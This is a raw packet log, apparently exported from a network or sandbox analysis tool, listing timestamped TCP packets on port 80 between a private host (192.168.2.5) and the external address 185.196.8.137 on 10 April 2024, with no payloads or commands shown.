Apr 10, 2024 10:24:12.203228951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203319073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203319073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203319073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203387022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203387022 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203387976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203387976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203387976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203387976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203499079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203499079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203499079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203499079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203500032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203500032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203573942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203573942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203573942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203680992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203680992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203680992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203680992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203680992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203680992 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203788996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203788996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203789949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203789949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203789949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203789949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203883886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203883886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203883886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203954935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203954935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203954935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203954935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203955889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.203955889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204067945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204067945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204067945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204067945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204067945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204067945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204132080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204132080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204132080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204185963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204185963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204185963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204242945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204242945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204330921 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204405069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204405069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204405069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204461098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204461098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204461098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204550028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204550028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204550028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204550028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204550028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204550028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204617977 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204618931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204618931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204720020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204720020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204720020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204720020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204720020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204720020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204826117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204826117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204826117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204826117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204826117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204826117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204935074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204935074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204935074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204936028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204936028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.204936028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205041885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205041885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205041885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205041885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205041885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205041885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205154896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205154896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205154896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205154896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205154896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205154896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205265999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205265999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205265999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205265999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205265999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205265999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205368996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205368996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205368996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205440998 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205441952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205441952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205441952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205441952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205441952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205545902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205545902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205545902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205545902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205545902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205545902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205661058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205661058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205661058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205662012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205662012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205662012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205766916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205766916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205766916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205766916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205766916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205766916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205879927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205879927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205879927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205879927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205879927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.205879927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206147909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206147909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206147909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206147909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206147909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206147909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206147909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206147909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206171036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206171036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206233978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206233978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206233978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206304073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206319094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206331968 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206345081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206357956 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206371069 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206377983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206377983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206377983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206377983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206439018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206439018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206505060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206505060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206505060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206523895 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206541061 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206643105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206656933 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206659079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206659079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206659079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206777096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206777096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206777096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206777096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206785917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206857920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206857920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206943035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206943035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206943035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206943035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206943035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206943035 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.206957102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.206979990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207045078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207063913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207063913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207063913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207063913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207063913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207132101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207132101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207132101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207241058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207241058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207241058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207241058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207241058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207241058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207454920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207454920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207454920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207494020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207499981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207499981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207499981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207513094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207513094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207513094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207638979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207653999 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207660913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207660913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207660913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207660913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207660913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207660913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.207668066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207683086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207695961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207707882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207720995 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207735062 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207747936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207761049 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207773924 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207788944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207801104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207813978 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.207828999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.208374023 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.208388090 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.208400011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.208412886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.208425045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.212238073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215682983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215682983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215682983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215682983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215682983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215852976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215852976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215852976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215852976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.215852976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216001987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216001987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216001987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216001987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216001987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216142893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216142893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216142893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216142893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216142893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216142893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216209888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216209888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216209888 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216239929 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216367006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216367006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216367006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216367006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216367006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216367006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216490984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216490984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216490984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216490984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216490984 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216660976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216660976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216660976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216660976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216660976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216780901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216780901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216780901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216780901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216780901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216912031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216912031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216912031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216912031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.216912031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.218735933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.218735933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.218735933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.224793911 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.224874973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.224889994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.236515045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.236562014 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.236845016 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.237076998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.237128019 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.237426043 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238123894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238229990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238449097 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238462925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238513947 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238528013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238573074 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238786936 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238801956 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238814116 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238827944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238841057 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238852978 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238867044 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238976955 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.238991976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.239003897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.239017963 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.239031076 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.239119053 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.239176035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.239191055 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.241868973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.241883039 CEST	80	49718	185.196.8.137	192.168.2.5
